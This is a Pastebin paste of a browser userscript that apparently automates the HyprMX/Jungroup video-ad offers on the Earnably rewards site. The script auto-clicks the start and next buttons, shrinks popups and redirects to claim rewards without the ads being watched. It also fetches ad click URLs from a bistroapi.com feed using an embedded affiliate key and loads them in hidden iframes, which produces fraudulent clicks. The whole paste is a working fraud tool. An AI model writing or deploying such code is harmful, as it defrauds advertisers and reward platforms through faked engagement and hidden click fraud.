Advertisement
Guest User

Untitled

a guest
Dec 4th, 2016
301
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.19 KB | None | 0 0
  1. // ==UserScript==
  2. // @name Jun Poopy Hyper
  3. // @namespace http://tampermonkey.net/
  4. // @version 1.0
  5. // @description Earnably HyprMx Goodey
  6. // @author You
  7. // @match https://static.hyprmx.com/*
  8. // @match http://static.hyprmx.com/*
  9. // @match http://live.hyprmx.com/*
  10. // @match https://live.hyprmx.com/*
  11. // @grant none
  12. // ==/UserScript==
  13.  
  14. // Fixes have been made 11/8 1:27
  15.  
  16. if(location.href.includes('funnyordie'))
  17. location.href = 'http://google.com';
  18. var i=0;
  19. var wins = [];
  20.  
  21. if(location.href.includes('https'))
  22. location.href = location.href.replace('https','http');
  23.  
  24. setTimeout(function(){
  25. if(document.getElementById('webtraffic_start_button_text'))
  26. webtraffic_start_button_text.click();
  27. if(document.getElementById('webtraffic_popup_start_button'))
  28. webtraffic_popup_start_button.click();
  29. },3000);
  30. setInterval(function(){
  31.  
  32. if(document.body.innerText.includes('Thanks for')||document.body.innerText.includes('Thank you for watching!')){
  33. if(lastW)
  34. lastW.close();
  35. //top.close();
  36. if(location.href.includes('hyprmx'))
  37. window.location.href = 'http://live.hyprmx.com/embedded_videos/catalog_frame?'+location.href.split('?')[1].split('&trampoline')[0]+'&uid='+location.href.split('&uid=')[1];
  38. if(location.href.includes('jungroup'))
  39. window.location.href = 'http://embed.jungroup.com/embedded_videos/catalog_frame?'+location.href.split('?')[1].split('&trampoline')[0]+'&uid='+location.href.split('&uid=')[1];
  40. return;
  41. }
  42. if(document.body.innerText.includes('offers'))
  43. return;
  44. if(!location.href.includes('boomerang')&&!location.href.includes('general_v4')){
  45. if(!document.body.innerText.includes('offers'))
  46. document.body.innerHTML='';
  47. if(location.href.includes('hyprmx'))
  48. window.location.href = 'http://live.hyprmx.com/embedded_videos/catalog_frame?'+location.href.split('?')[1].split('&trampoline')[0]+'&uid='+location.href.split('&uid=')[1];
  49. if(location.href.includes('jungroup'))
  50. window.location.href = 'http://embed.jungroup.com/embedded_videos/catalog_frame?'+location.href.split('?')[1].split('&trampoline')[0]+'&uid='+location.href.split('&uid=')[1];
  51. return;
  52. }
  53.  
  54. if(webtraffic_popup_next_button.className.includes('active'))
  55. webtraffic_popup_next_button.click();
  56. if(webtraffic_popup_reopen_button.className.includes('active'))
  57. webtraffic_popup_next_button.click();
  58.  
  59. },3000);
  60. if(document.body.innerText.includes('offers'))
  61. setTimeout(function(){
  62. window.location.reload();
  63. },20000);
  64. var ifr;
  65. var lastW;
  66.  
  67. window._open = window.open;
  68. window.open=function(url,name,params){
  69. lastW = window._open(url,'','width=100;height=100;');
  70. return lastW;
  71.  
  72. if(!ifr)
  73. ifr = document.createElement('iframe');
  74. ifr.src=url.replace('http','https');
  75. document.body.appendChild(ifr);
  76. return ifr.contentWindow;
  77. };
  78.  
  79. var _search_results = [];
  80.  
  81. startAgain();
  82.  
  83. function startAgain(){
  84. var xhttp = new XMLHttpRequest();
  85. var response;
  86. var whref = 'https://go.bistroapi.com/search?fmt=json&ad_id=31500&ad_key=GXm6BBnhebs-&aff_sub_id=71350&dc=3&mt=g_ron&cs=1&adt=1&st=4&aff_sub_id_2=dreidRef'+Math.random().toString().substring(2,6);
  87.  
  88.  
  89. xhttp.open("GET", whref, false);
  90. xhttp.send();
  91. var html = xhttp.responseText;
  92. var results = JSON.parse(html);
  93. if(results.length>0)
  94. for(var n=0;n<results.length;n++){
  95. var url=results[n].click_url;
  96. _search_results.push(url);
  97. }
  98. if(_search_results.length>0)
  99. goForth();
  100. else console.log('no need');
  101. }
  102. function goForth()
  103. {
  104. var ifr = document.createElement('iframe');
  105. ifr.src=_search_results[0];
  106. ifr.style.visibility = 'hidden';
  107. document.body.appendChild(ifr);
  108.  
  109. ifr = document.createElement('iframe');
  110. ifr.src=_search_results[1];
  111. ifr.style.visibility = 'hidden';
  112. document.body.appendChild(ifr);
  113.  
  114. ifr = document.createElement('iframe');
  115. ifr.src=_search_results[2];
  116. ifr.style.visibility = 'hidden';
  117. document.body.appendChild(ifr);
  118. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement